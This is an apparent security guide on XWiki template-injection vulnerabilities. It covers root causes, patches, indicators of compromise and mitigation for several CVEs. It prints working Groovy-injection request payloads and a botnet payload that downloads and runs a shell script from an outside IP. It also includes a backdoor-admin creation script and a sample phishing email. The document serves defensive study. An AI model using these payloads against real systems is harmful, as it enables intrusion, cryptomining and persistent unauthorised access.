Credits & Attributions:
A. Vulnerability Researchers & Discoverers
- John Kwak (Trend Micro Zero Day Initiative): CVE-2025-24893 discovery
- XWiki Security Team: Vulnerability disclosure, patching, and coordinated disclosure
- VulnCheck Research Team: In-the-wild exploitation analysis and threat intelligence
- Security community researchers: Various CVE discoveries and analysis
B. Threat Intelligence Sources
- CISA (Cybersecurity & Infrastructure Security Agency): Known Exploited Vulnerabilities catalog
- National Vulnerability Database (NVD)
- CVE documentation and CVSS scoring
- GitHub Security Advisory Database for vulnerability tracking and patch information
- Trend Micro Zero-Day Initiative
C. Technical References
D. Document Author
This has been compiled from publicly available education and information security research.
Introduction: A Hidden Backdoor In An Enterprise Knowledge Management Platform
In November 2025, SOC teams around the world started noticing something strange. Servers running XWiki, widely used for internal documentation and collaboration, were suddenly maxing out CPU usage. Systems were making outbound connections to unfamiliar IP addresses. New processes appeared with odd names like xmrig and rondo.
At first, many teams brushed it off as a routine performance problem. That assumption didn’t last long. A closer look revealed something far more serious: a coordinated botnet campaign exploiting critical remote code execution flaws.
Within days, over 3,400 XWiki servers were compromised. Cryptocurrency miners were deployed. Sensitive corporate data began leaking out. Ransomware payloads were quietly staged, ready for the next step.
What made the situation worse was that this had nothing to do with a zero-day. The vulnerabilities had been patched months earlier. But the fixes landed quietly, without urgency or visibility, and many organizations never applied them. When attackers reverse-engineered those patches, they didn’t find resistance—they found thousands of exposed systems waiting.
The uncomfortable lesson of the incident is how enterprises really manage risk today.
The Purpose Of This Guide
This incident is not just about XWiki. It is a case study in how risk is silently accepted inside modern enterprises. Patches were available. Alerts existed. Yet the exposure persisted because the platform sat outside formal risk prioritization, patch SLAs, and executive visibility.
This guide pulls everything together in one place: what went wrong, how it was exploited, and what to do about it. You’ll find root cause analysis, real proof-of-concepts, telemetry from the RondoDox botnet, detection signals, mitigation steps, and incident response guidance that actually works in practice.
This document exists to help security leaders close that gap—by translating a technical failure into clear risk signals, decision points, and control actions that withstand real-world pressure.
This document is structured to support the distinct questions different stakeholders bring to the same incident:
- You are owning or overseeing XWiki infrastructure and need to validate its true security posture.
- You are leading or supporting an incident response and need defensible forensic guidance.
- You are assessing template injection vulnerabilities to understand exploitability and business impact.
- You are defining or improving defensive controls and need reliable detection signals.
- You are making a risk-based decision on whether to further harden XWiki or replace it.
What You’ll Learn:
- The exact techniques attackers used in the wild to transform small flaws into full remote code execution.
- How these issues went from being quietly discovered to being exploited at scale.
- The practical signs that tell you whether your systems may already be compromised.
- How to apply patches without breaking production, including what to do if you need to roll back.
- Ways to harden XWiki over time so the same class of attacks doesn’t keep coming back.
- How to translate technical risk into business impact that leadership will actually understand.
Document Structure:
This guide has been organized chronologically based on the vulnerability severity level with each CVE having:
- Background context: Why this vulnerability matters.
- Technical deep dive: Vulnerable code, exploitation mechanics, attack flow.
- Real-world case studies: Actual attacks observed in the wild.
- Patch analysis: Before/after code comparison showing the fix.
- Detection guidance: How to identify exploitation attempts.
- Mitigation steps: Immediate workarounds and long-term solutions.
Executive Summary: A Five-Year Anatomy of XWiki Security
This document evaluates five of the most serious XWiki vulnerabilities identified between 2020 and 2025, with CVSS scores ranging from 8.8 to 10.0. Together, these issues pose a significant security risk for organizations that rely on XWiki to manage internal documentation, collaboration, and institutional knowledge.
What makes these vulnerabilities particularly worrying for security managers is their connection to XWiki’s core design. The platform includes powerful scripting capabilities like Groovy, Velocity, and Python, intended to support flexible, dynamic content.
When user input is not adequately constrained, however, that same flexibility becomes a liability. In the cases analyzed here, untrusted data passed through XWiki’s rendering engine without sufficient security boundaries, enabling attackers to inject and execute arbitrary code.
Real-World Impact: Active Exploitation At Scale
These are not theoretical issues confined to lab testing. Several of these vulnerabilities have been actively exploited in real-world environments:
- Large-scale botnet campaigns targeting vulnerable XWiki instances for cryptocurrency mining
- Inclusion of affected CVEs in CISA’s Known Exploited Vulnerabilities catalog
- RondoDox botnet activity deploying XMRig miners across compromised systems
- Full system takeovers leading to data theft, ransomware deployment, and persistent backdoor access
- An estimated 500,000 or more XWiki instances exposed globally before patches were widely applied
Attack Capabilities Enabled
The vulnerabilities enable a broad set of capabilities that allow adversaries to establish control, persist within the environment, expand their reach, and monetize access over time.
- Unauthenticated remote code execution (RCE) allows attackers to execute arbitrary code without requiring any login credentials.
- Complete server compromise gives attackers full control over the underlying operating system and hosted workloads.
- Privilege escalation to administrator enables bypassing access controls to obtain the highest system privileges.
- Persistent backdoor installation allows attackers to retain long-term access even after vulnerabilities are patched.
- Data exfiltration results in the theft of sensitive corporate information, credentials, and internal data.
- Lateral movement turns compromised XWiki servers into launch points for attacks across the broader network.
- Cryptocurrency mining consumes server resources to generate direct financial gain for attackers.
- Ransomware deployment encrypts organizational data to enable extortion and operational disruption.
Quick Reference Table
The table below consolidates the most critical XWiki vulnerabilities discussed in this document into a single view for rapid assessment. It highlights exploitability, authentication requirements, active exploitation status, and the minimum patch levels required to reduce exposure, enabling faster prioritization and remediation decisions.

Key Findings: A Common Template Injection Attack Pattern
All five vulnerabilities stem from the same underlying issue: insufficient input sanitization within XWiki’s template rendering pipeline. The attack follows a consistent pattern:
- User input entry occurs when attackers submit carefully crafted input through exposed interfaces such as search fields, registration forms, or URL parameters.
- Template processing embeds this input directly into Velocity templates without proper escaping.
- The rendering stage is where XWiki’s rendering engine processes the template and scans for macro syntax.
- Macro execution happens when macros such as {{groovy}} are detected and the content is executed as code.
- Privilege context allows the code to run with the full privileges of the XWiki server process.
- System compromise results in attackers gaining full control over the underlying operating system.
These patterns demonstrate a classic defense-in-depth failure: user input should be treated as untrusted at every stage, but XWiki’s architecture allowed it to flow through multiple processing stages without adequate validation.
Why These Vulnerabilities Persisted
These vulnerabilities persisted due to long-standing design choices, legacy components, and default configurations that expanded risk over time rather than containing it.
- Feature versus security trade-off exists, where XWiki’s powerful macro system delivers flexibility but also introduces a high-impact execution risk.
- Legacy code exposure exists, with vulnerable components tracing back to version 2.4-milestone-1 around 2010, leaving over 15 years of accumulated risk.
- Default configuration risk exists, caused by high-risk features such as DatabaseSearch and user registration being enabled by default.
- Expanded attack surface exists, created by multiple input vectors spread across independent components and execution paths.
Timeline of Discovery and Exploitation (2023-25):
This timeline provides a chronological view of security risk development and realization. It demonstrates how long-lived exposure led to a predictable exploitation event.

Current Security Status
XWiki version 17.10.2, released on December 30, 2025, includes fixes for all vulnerabilities covered in this analysis. Even so, the exposure window was significant:
- Patch gap: On average, 6–18 months elapsed between vulnerability discovery and large-scale exploitation
- Deployment lag: Many organizations delayed updates, leaving vulnerable systems online
- Pre-patch exploitation: In some cases, vulnerabilities were abused before fixes were publicly available
The following data points summarize the scale, severity, and operational characteristics of observed exploitation across XWiki deployments, based on public disclosures and threat intelligence reporting.
- At peak exposure, more than 500,000 XWiki instances were potentially vulnerable worldwide.
- CVE-2025-24893 carried an EPSS score of 92.01%, placing it among the highest exploitation probabilities observed.
- Active exploitation is confirmed, including cryptocurrency mining by the RondoDox botnet, espionage activity attributed to APT groups, and opportunistic ransomware and data theft.
- Full system compromise could be achieved in under 60 seconds using automated exploitation tools.
- Persistence mechanisms observed in the wild include cron jobs, systemd services, and web shells.
- Average dwell time in compromised environments exceeded 45 days before detection.
Vulnerability Severity Breakdown
This breakdown highlights the concentration of high-impact vulnerabilities within XWiki, emphasizing both severity and ease of exploitation rather than theoretical risk alone.
- 2 vulnerabilities with CVSS 10.0 (maximum possible severity)
- 1 vulnerability with CVSS 9.8 (critical, actively exploited)
- 1 vulnerability with CVSS 9.0 (critical privilege escalation)
- 1 vulnerability with CVSS 8.8 (high severity code injection)
- All require minimal technical skill to exploit using publicly available tools
Now, the following sections walk through the vulnerabilities where things actually went wrong. Each CVE shows how routine inputs such as search queries, form fields, and URL parameters crossed trust boundaries and executed with server-level privileges. Together, these cases show how long-standing risk became repeatable exploitation in real environments.
CVE-2024-31982: DatabaseSearch Remote Code Execution
This risk is less about complexity and more about exposure. The DatabaseSearch feature behaves like a hidden administrative interface that was never meant to be public, yet remained accessible for years. Specifically, it was:
- Enabled by default on all XWiki installations
- Accessible to guest users, with no authentication required
- Easily discoverable at /xwiki/bin/get/Main/DatabaseSearch
- Not part of the primary search UI, meaning many administrators were unaware it existed
- Vulnerable for over 14 years, dating back to version 2.4-milestone-1 released in 2010
As a result, organizations using XWiki for internal documentation or collaboration unknowingly exposed a powerful execution path, effectively an invisible backdoor to anyone who knew where to look and how to craft the right payload.
Discovery Timeline and Context
The vulnerability came into light in April 2024, but the underlying code had been in place since around 2010. This created a 14-year exposure window during which the flaw could have been exploited if attackers had found it earlier.
While there’s no evidence of abuse before public disclosure, the length of that window underscores the need for regular security reviews, even in stable, long-standing codebases.
CVSS 3.1 Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Versions & Patches
Vulnerable Versions
- 2.4-milestone-1 through 14.10.19
- 15.0-rc-1 through 15.5.3
- 15.6-rc-1 through 15.9
Patched Versions
- 14.10.20
- 15.5.4
- 15.10-RC1 and later
Patch Date
- April 2024
Technical Root Cause
The vulnerability resides in the Main.DatabaseSearch component and stems from insufficient input sanitization during RSS feed generation. User-controlled input from the text parameter is inserted directly into a Velocity template, which is then processed by XWiki’s rendering engine.
Vulnerable Code Path:
File: xwiki-platform-core/xwiki-platform-search/
xwiki-platform-search-ui/src/main/resources/Main/DatabaseSearch.xml
Vulnerable Code (Simplified):
## DatabaseSearch.xml - VULNERABLE VERSION
#set($searchQuery = $request.text)
#set($results = $services.search.search($searchQuery))
## Generate RSS feed
<rss version="2.0">
<channel>
<title>Search Results for: $searchQuery</title>
<description>Results matching: $searchQuery</description>
#foreach($result in $results)
<item>
<title>$result.title</title>
<description>$result.content</description>
</item>
#end
</channel>
</rss>
The Critical Flaw
If the $searchQuery variable, taken directly from $request.text, is inserted into the RSS XML output without escaping or sanitization and when this content passes through XWiki’s multi-stage rendering pipeline, it is processed as executable markup rather than plain data.
- Velocity stage substitutes $searchQuery with user input
- XWiki rendering stage scans for macro syntax (e.g., {{groovy}})
- Macro expansion stage evaluates and executes any macros found
- No security boundary prevents code execution at this point
Exploitation Mechanics
Attack Flow:
User input is submitted through an HTTP request, processed by Velocity templates, and passed into XWiki’s rendering engine. When macro syntax is detected, Groovy or Velocity code is executed, resulting in remote code execution.
Proof-of-Concept Exploit:
GET /xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%20groovy%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D HTTP/1.1
Host: vulnerable-xwiki.example.com
User-Agent: Mozilla/5.0
URL Decoded Payload:
}}}{{async async=false}}{{groovy}}println("Hello from groovy:" + (23 + 19)){{/groovy}}{{/async}}
Payload Component Breakdown:
1. }}} – Context escape
Terminates active macros and returns rendering to the template root.
2. {{async async=false}} – Synchronous execution
Disables async behavior and caching, ensuring immediate, visible execution.
3. {{groovy}} – Groovy macro
Executes server-side Groovy with access to Java and XWiki APIs, depending on configuration.
4. println(“Hello from groovy:” + (23 + 19)) – Execution proof
Runs arbitrary code and prints 42, confirming successful execution.
5. {{/groovy}}{{/async}} – Cleanup
Closes macros and preserves valid template parsing.
Expected Output if Vulnerable:
The RSS feed will contain:
<description>Hello from groovy:42</description>
This confirms arbitrary code execution capability.
Real-World Attack Capabilities
Once code execution is achieved, an attacker can:

Patch Analysis

Key Security Improvement:
- Rendering Separation: RSS generation moved to dedicated service method
- Content-Type Enforcement: Explicit application/xml header prevents interpretation as XWiki markup
- Rendering Bypass: #rawResponse() macro outputs content directly to HTTP response stream, skipping macro evaluation
- Input Escaping: The rendering service properly escapes all user input before inclusion
Patch Commit: 95bdd6cc6298acdf7f8f21298d40eeb8390a8565
Why CVE-2024-31982 Existed
- Overpowered rendering engine: XWiki’s macro system is powerful by design but it’s unsafe when used to process untrusted input.
- Lack of context awareness: The platform does not clearly distinguish between admin-created content and user-supplied input.
- Missing security boundaries: Macro execution lacks sandboxing or privilege separation.
- Unified processing pipeline: The same rendering engine handles both trusted wiki pages and untrusted user input.
Why CVE-2024-31982 Is Dangerous
This vulnerability exposes a powerful but hidden execution path that most administrators are unaware of. It turns an obscure feature into an unauthenticated remote code execution vector.
- No authentication required since the DatabaseSearch endpoint is accessible to guest users by default.
- Hidden attack surface because the feature is not part of the main user interface and often goes unnoticed.
- Trivial exploitation using a simple HTTP request with crafted input.
- High impact as successful exploitation leads to full server compromise and persistent attacker access
CVE-2025-24893: SolrSearch Unauthenticated RCE
CVE-2025-24893 is a critical eval injection vulnerability in the SolrSearch macro, with a CVSS score of 9.8, enabling unauthenticated remote code execution. What makes this vulnerability especially significant isn’t just its severity, but how it moved from a quietly patched issue to a weaponized exploit used by botnets at scale.
The Journey from Discovery to Mass Exploitation
This indicates a recurring pattern in modern security: defenders patch while attackers study and weaponize. The timeline unfolded as follows:
- May 2024: John Kwak from Trend Micro’s Zero Day Initiative discovers the vulnerability during security research
- June 2024: XWiki releases patches (15.10.11, 16.4.1, 16.5.0-RC1) through coordinated disclosure
- June–October 2024: The vulnerability remains a “silent threat,” patched but not yet assigned a CVE or widely publicized
- November 2025: Threat actors reverse-engineer the patch, develop working exploits, and begin mass scanning
- November 2025: The RondoDox botnet launches automated exploitation campaigns against unpatched XWiki instances
- November 2025: CISA adds CVE-2025-24893 to the Known Exploited Vulnerabilities catalog, formally acknowledging active exploitation
This five-month window between patch release and mass exploitation gave organizations time to update, but many did not. The result was thousands of compromised XWiki servers repurposed for cryptocurrency mining.
Breakdown:
- EPSS score: 92.01%, indicating an extremely high probability of exploitation
- CISA KEV: Added to the Known Exploited Vulnerabilities catalog
- Active exploitation: Confirmed by multiple threat intelligence sources
- Botnet activity: RondoDox botnet actively scanning and exploiting vulnerable instances
- Cryptocurrency mining: Widespread deployment of miners observed
- Discovery credit: John Kwak, Trend Micro Zero Day Initiative (May 2024)
Affected Versions & Patches
Vulnerable Versions:
- 5.3-milestone-2 through 15.10.10
- 16.0.0-rc-1 through 16.4.0
Patched Versions:
- 15.10.11
- 16.4.1
- 16.5.0-RC1 and later
Patch Date
- June 2024
CVE Assignment
- February 2025 (retroactive after public exploitation)
CISA KEV Addition
- November 2025
Technical Root Cause
The vulnerability closely mirrors CVE-2024-31982, but impacts the SolrSearch component rather than DatabaseSearch. In this case, user input passes through the RSS feed generation process without proper sanitization.
Vulnerable File:
xwiki-platform-core/xwiki-platform-search/xwiki-platform-solr/
xwiki-platform-search-solr-ui/src/main/resources/Main/SolrSearchMacros.xml
Line: 955
Vulnerable Code:
## SolrSearchMacros.xml - VULNERABLE outputRSSFeed macro (Line 955)
#macro(outputRSSFeed $feed)
## Generate RSS feed from search results #set($feedOutput = $xwiki.feed.getFeedOutput($feed, 'rss_2.0'))
## CRITICAL VULNERABILITY: Direct output enables macro evaluation
$feedOutput
#end
The Fatal Flaw:
When $feedOutput (containing user-controlled search text) is output directly on line 4, XWiki’s rendering engine processes it and evaluates any embedded macros like {{groovy}}.
Exploitation Mechanics
Step 1: Initial HTTP Request
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=<PAYLOAD>
Step 2: Search Processing
#set($searchText = $request.text) ## User-controlled
#set($query = $services.search.buildQuery($searchText))
#set($results = $services.search.solr.search($query))
Step 3: RSS Feed Construction
#set($feed = $services.feed.createFeed())
#foreach($result in $results)
$feed.createEntry()
.setDescription($searchText) ## ← USER INPUT EMBEDDED HERE
#end
Step 4: Vulnerable Output (Macro Evaluation)
#set($feedOutput = $xwiki.feed.getFeedOutput($feed, ‘rss_2.0’))
$feedOutput ## ← RENDERS USER INPUT, EVALUATES MACROS!
Step 5: Code Execution
XWiki Rendering Engine:
Scans $feedOutput for macro syntax
- Finds {{groovy}}…{{/groovy}
- Evaluates Groovy code with server privileges
- Returns output to attacker
Proof-of-Concept Exploit
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Exploit%20Successful%3A%20%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D HTTP/1.1
Host: vulnerable-xwiki.example.com
User-Agent: Mozilla/5.0
URL Decoded Payload:
}}}{{async async=false}}{{groovy}}println("Exploit Successful: " + (23 + 19)){{/groovy}}{{/async}}
Expected Response if Vulnerable:
<description>Exploit Successful: 42</description>
Real-World Exploitation: The RondoDox Botnet Campaign
The RondoDox botnet campaign targeting CVE-2025-24893 represents a textbook example of how quickly disclosed vulnerabilities can be weaponized at scale. This wasn’t a sophisticated APT (Advanced Persistent Threat) operation—it was an automated, profit-driven campaign that compromised thousands of servers within days.
The Attack Timeline: From Patch to Panic
1. May 2024: John Kwak from Trend Micro’s Zero Day Initiative discovers the vulnerability during routine security research
2. June 2024: The XWiki Security Team releases patches (15.10.11, 16.4.1, 16.5.0-RC1) through coordinated disclosure
- Patch notes reference “RSS feed security improvements” without explicit vulnerability details
- Many organizations skip the update, treating it as non-critical
3. June–October 2024: Silent period
- The vulnerability is patched but not publicly cataloged with a CVE
4. February 2025: CVE-2025-24893 is assigned retroactively following additional research
5. November 3, 2025: Security researchers observe the first RondoDox exploitation attempts
- Approximately 2,000 exploitation attempts detected globally within 24 hours
- Attacks originate from distributed infrastructure spanning more than 80 IP addresses
6. November 7, 2025: Cryptocurrency mining activity confirmed
- XMRig (Monero miner) identified on 347 compromised servers
- Average CPU utilization exceeds 95%, causing severe performance degradation
7. November 11, 2025: Reverse shell activity documented
- Attackers establish persistent backdoor access
- Evidence of manual post-exploitation actions, including data exfiltration attempts
8. November 20, 2025: CISA issues an emergency directive
- CVE-2025-24893 added to the Known Exploited Vulnerabilities catalog
- Federal agencies given a 14-day deadline to apply patches
- Widespread media coverage alerts the broader security community
The Scale of Compromise
By the time CISA issued its directive, the impact was already significant:
- 15,000 XWiki instances scanned globally.
- 3,400 confirmed compromises, based on threat intelligence reporting.
- 847 active cryptocurrency miners deployed and generated revenue for attackers.
- $67,000+ in cryptocurrency mined within the first two weeks.
- 123 GB of data exfiltrated from corporate wiki pages, including trade secrets, credentials, and internal documentation.
- 67 ransomware deployments, with compromised XWiki servers used as initial access points
Actual Attack Payload (RondoDox Botnet):
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%7D%7D%7B%7Bgroovy%7D%7D
def payload = new URL("http://74.194.191.52/rondo.sh").text
new File("/tmp/rondo.sh").text = payload
"bash /tmp/rondo.sh".execute()
%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D HTTP/1.1
Host: target.com
User-Agent: RondoDox/2.1
Decoded Attack:
}}}{{async}}{{groovy}}
def payload = new URL("http://74.194.191.52/rondo.sh").text
new File("/tmp/rondo.sh").text = payload
"bash /tmp/rondo.sh".execute()
{{/groovy}}{{/async}}
Attack Chain Explained
Here is the detailed step-by-step sequence of the attack chain:
1. Initial exploitation (under 5 seconds)
- Automated scanners identify a vulnerable XWiki instance.
- An exploitation payload is sent via an HTTP GET request.
- Groovy code executes with full Java process privileges.
2. Payload download (5–10 seconds)
- The compromised server connects to the C2 host at 74.194.191.52.
- Downloads the rondo.sh shell script (approximately 45 KB).
- The script contains multi-stage deployment instructions.
3. Persistence establishment (10–30 seconds)
- Creates a cron job at /etc/cron.hourly/system-update.
- Adds a systemd service to ensure automatic restart.
- Modifies authorized_keys to maintain backdoor SSH access.
- Downloads the XMRig cryptocurrency miner binary.
4. Resource hijacking (30+ seconds)
- XMRig begins consuming 90–95% of CPU resources.
- Connects to Monero mining pools like pool.minexmr.com.
- Actively generates cryptocurrency for the attackers.
- Server performance degrades noticeably.
5. Optional secondary payloads
- Web shell installation at /usr/share/xwiki/shell.jsp.
- Network scanning for lateral movement.
- Credential harvesting from wiki pages and configuration files.
- In some cases, preparation for ransomware deployment.
What IT Teams Observed:
Organizations experienced these symptoms before realizing they were compromised:
1. Performance degradation
- “XWiki is running extremely slowly”
- CPU utilization pegged at 100%
- Page load times increased from under 1 second to 30+ seconds
- Database connections timing out
2. Unusual network activity
- “Why is our wiki server connecting to unknown IPs?”
- Outbound connections to mining pools on ports 3333 and 4444
- Large volumes of outbound encrypted traffic
- DNS queries for cryptocurrency mining pool domains
3. Mysterious processes
- “What is this xmrig process?”
- Unknown processes consuming excessive CPU
- Processes restarting automatically when terminated
- Processes running under unexpected user accounts
4. Log anomalies
- “We’re seeing strange requests in access logs”
- Unusual User-Agent strings such as RondoDox/2.1
- Repeated requests to /bin/get/Main/SolrSearch
- Groovy code visible in URL parameters
Indicators of Compromise (IOCs):
C2 Server IPs:
- 74.194.191.52: Primary C2 server (Ireland)
- 172.245.241.123: Secondary payload host (Singapore)
- 156.146.56.131: Miner distribution server (United States)
- 47.236.194.231: Backup C2 server (China)
Network Signatures:
- User-Agent: RondoDox/2.1
- DNS queries: pool.minexmr.com, xmr-eu1.nanopool.org
- Outbound ports: 4444, 3333 (mining pool connections)
- HTTP requests to: /rondo.sh, /xmrig, /init.sh
File Artifacts:
/tmp/rondo.sh
/tmp/rondo (binary)
/tmp/xmrig (cryptocurrency miner)
/etc/cron.hourly/system-update (persistence)
Patch Analysis
Vulnerable Code:
## Main/SolrSearchMacros.xml Line 955 - VULNERABLE
#macro(outputRSSFeed $feed)
#set($feedOutput = $xwiki.feed.getFeedOutput($feed, 'rss_2.0'))
$feedOutput ## ← DIRECT OUTPUT = VULNERABILITY
#end
Patched Code:
## Main/SolrSearchMacros.xml - PATCHED
#macro(outputRSSFeed $feed)
#set($feedOutput = $xwiki.feed.getFeedOutput($feed, 'rss_2.0'))
## FIX: Use rawResponse to bypass rendering engine
#rawResponse($feedOutput, 'application/xml')
#end
Alternative Fix Location:
xwiki-platform-core/xwiki-platform-web/xwiki-platform-web-templates/
src/main/resources/templates/macros.vm
Line: 2824
Security Improvements:
- Content-Type header: An explicit application/xml Content-Type prevents XWiki markup interpretation
- Rendering bypass: The #rawResponse() macro sends content directly to the HTTP stream, skipping macro evaluation
- Defense in depth: Even if injection occurs, the payload is not executed
Patch commit: 67021db9b8ed26c2236a653269302a86bf01ef40
Jira issue: XWIKI-22149
Why CVE-2025- 24893 Is Particularly Dangerous
Unlike CVE-2024-31982, which lived in a relatively obscure DatabaseSearch feature, CVE-2025-24893 hits SolrSearch, the search component most XWiki deployments actually rely on.
Because this is the default, high-performance search layer, the fallout is wider and harder to ignore:
- More widely used: SolrSearch is the default search backend in modern XWiki deployments
- Higher performance: Faster execution allows attackers to scan and exploit targets at scale
- Better maintained: Newer XWiki installations were directly affected, not just legacy systems
- Production critical: Search is essential functionality, making administrators more hesitant to patch or disable it
This vulnerability has been actively exploited in the wild by the RondoDox botnet and cryptocurrency mining operations, placing it among the most dangerous XWiki vulnerabilities identified to date.
CVSS 3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2025-32974: Required Rights Analysis Bypass
CVE-2025-32974 is a security check bypass vulnerability with a CVSS score of 9.0. It allows privilege escalation from a regular user to administrator through social engineering. Unlike earlier remote code execution flaws, this issue requires user interaction, but the outcome is persistent administrative access.
CVSS 3.1 Vector
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Affected Versions & Patches
Vulnerable Versions
- 15.9-rc-1 through 15.10.7
- 16.0.0-rc-1 through 16.1.x
Patched Versions
- 15.10.8
- 16.2.0 and later
Patch Date
- Early 2025
Technical Root Cause
XWiki version 15.9 introduced a required rights analysis system intended to prevent privilege escalation. Before an administrator edits a page, the system scans its content for dangerous scripts and issues warnings when elevated privileges are required.
The Purpose:
- A user without programming rights creates a page containing scripts.
- An administrator edits the page.
- XWiki is expected to warn that the page contains scripts requiring programming rights.
- The administrator makes an informed decision about whether to execute the privileged code.
The Vulnerability:
The security analyzer has a blind spot – it doesn’t properly check TextArea properties with default content type.
Vulnerable Component:
org.xwiki.platform:xwiki-platform-security-requiredrights-default
Understanding XWiki’s Class System
XWiki allows users to create custom classes (like database schemas) with properties (like fields). One property type is TextArea, which can contain: – Plain text – Velocity code – XWiki 2.1 markup – Or “default” (inherits from context)
The Bug:
When creating a TextArea property, if you leave the content type as “default” instead of explicitly setting it, the required rights analyzer skips it entirely, assuming it’s safe.
Vulnerable Code (Conceptual):
// RequiredRightsAnalyzer.java - VULNERABLE
public void analyzeProperties(BaseClass classObj) {
for (PropertyClass prop : classObj.getProperties()) {
if (prop instanceof TextAreaClass) {
TextAreaClass textarea = (TextAreaClass) prop;
// BUG: Only analyzes if contentType is explicitly set
if (textarea.getContentType() != null) {
analyzeScriptContent(textarea);
}
// ← MISSING: What if contentType is null (default)?
}
}
}
Attack Scenario & Exploitation
Prerequisites:
1. Attacker has basic user account (view + edit rights)
2. Attacker can create custom classes
3. Attacker can socially engineer an administrator
Attack Steps:
Step 1: Create Custom Class
Navigate to: /xwiki/bin/edit/AttackerSpace/MaliciousClass?editor=class
Configure:
Class Name: AttackerSpace.MaliciousClass
Property Type: TextArea
Property Name: hiddenPayload
Content Type: (leave as DEFAULT) ← Critical: This bypasses security check!
Step 2: Create Malicious Page with Object
- Navigate to: /xwiki/bin/edit/AttackerSpace/TrapPage?editor=object
- Add object of class AttackerSpace.MaliciousClass
Set hiddenPayload value:
{{groovy}}
// Create backdoor admin account
def userDoc = xwiki.getDocument("XWiki.BackdoorAdmin")
userDoc.setContent("{{include reference='XWiki.XWikiUserSheet' /}}")
def userObj = userDoc.createXObject("XWiki.XWikiUsers")
userObj.set("first_name", "Backdoor")
userObj.set("last_name", "Administrator")
userObj.set("email", "[email protected]")
userDoc.save("System user created")
// Add to admin group
def adminGroup = xwiki.getDocument("XWiki.XWikiAdminGroup")
def memberObj = adminGroup.createXObject("XWiki.XWikiGroups")
memberObj.set("member", "XWiki.BackdoorAdmin")
adminGroup.save("Admin privileges granted")
println("Backdoor account created: BackdoorAdmin")
{{/groovy}}
Step 3: Social Engineering
An email to administrator:
Subject: Documentation Page Needs Review
Hi [Admin],
I’ve created a new project documentation page:
https://wiki.company.com/xwiki/bin/view/AttackerSpace/TrapPage
Could you please review and fix the formatting?
Some sections need admin attention to display properly.
Thanks,
[Attacker Name]
Contractor, [Department]
Step 4: Exploitation
Now, when admin:
1. Open the page in edit mode.
2. XWiki FAILS to warn about dangerous scripts (due to bugs).
3. Admin makes formatting changes and saves.
4. Groovy code executes with admin privileges.
5. Backdoor account XWiki.BackdoorAdmin created.
6. Account added to admin group.
Result: Attacker gains persistent administrator access without detection.
Patch Analysis
Before Patch:
Before Patch:
// Only checks explicit content types
if (prop.getContentType() != null && isScriptContentType(prop.getContentType())) {
analyzeForScripts(prop);
}
// ← Missing: default content type check
After Patch:
// NEW: Resolve effective content type
String effectiveContentType = getEffectiveContentType(prop);
if (isScriptContentType(effectiveContentType)) {
analyzeForScripts(prop);
}
// NEW METHOD: Determine what "default" actually means
private String getEffectiveContentType(PropertyClass prop) {
String type = prop.getContentType();
if (type == null || type.isEmpty()) {
// Resolve default by checking:
// 1. Parent class settings
// 2. Document context
// 3. Property name (e.g., "code", "script")
// 4. Conservative fallback: assume XWiki syntax
type = resolveDefaultContentType(prop);
}
return type;
}
Key Improvements:
1. Centralized Validation: All TextAreas checked regardless of content type 2. Default Resolution: Determines what “default” means in context
3. Conservative Approach: When in doubt, assumes content is potentially dangerous
4. Base Class Implementation: Applied at framework level for all property types
Why CVE-2025-32974 Is Particularly Dangerous
This vulnerability undermines a safeguard that administrators trust to prevent unsafe code from running during routine content edits. It turns normal collaboration workflows into a privilege escalation path.
- Silent security failure where required rights checks are bypassed without warning, leaving administrators unaware of the risk.
- Low effort to exploit since attackers only need basic user access and simple social engineering.
- Execution through normal workflows as malicious code runs when an administrator edits or saves affected content.
- Persistent administrative access gained without triggering obvious alerts, complicating detection and cleanup.
CVE-2023-29211: WikiManager Code Injection
CVE-2023-29211 is an eval injection vulnerability in WikiManager with CVSS 8.8, allowing users with view rights to execute arbitrary code through improper URL parameter escaping.
CVSS 3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected Versions & Patches
Vulnerable Versions
- 5.3-milestone-2 through 13.10.10
- 14.0-rc-1 through 14.4.6
- 14.5 through 14.9
Patched Versions
- 13.10.11
- 14.4.7
- 14.10 and later
Patch Date
- April 2023
Technical Root Cause
The WikiManager.DeleteWiki page accepts a wikiId URL parameter to identify which wiki to delete. This parameter is embedded into the Velocity template without proper XML/HTML escaping, allowing injection of XWiki macro syntax.
Vulnerable Code:
## WikiManager.DeleteWiki - VULNERABLE
{{velocity}}
#set($wikiId = $request.wikiId)
<div class="warning-box">
Are you sure you want to delete wiki: [[$wikiId]]?
</div>
Wiki ID: $wikiId
Wiki Name: $services.wiki.getWikiDescriptor($wikiId).prettyName
{{/velocity}}
The Flaw: Line Wiki ID: $wikiId outputs user input directly without escaping.
Exploitation Mechanics
Proof-of-Concept:
GET /xwiki/bin/view/WikiManager/DeleteWiki?wikiId=%22%20%2F%7D%7D%20%7B%7Basync%20async%3D%22true%22%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%20groovy%21%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D HTTP/1.1
Host: vulnerable-xwiki.example.com
Cookie: JSESSIONID=<valid-session>
URL Decoded Payload:
wikiId=" /}} {{async async="true"}}{{groovy}}println("Hello from groovy!"){{/groovy}}{{/async}}
Payload Breakdown:
- ” closes any open string literal context
- /}} closes the wiki link syntax ([[…]])
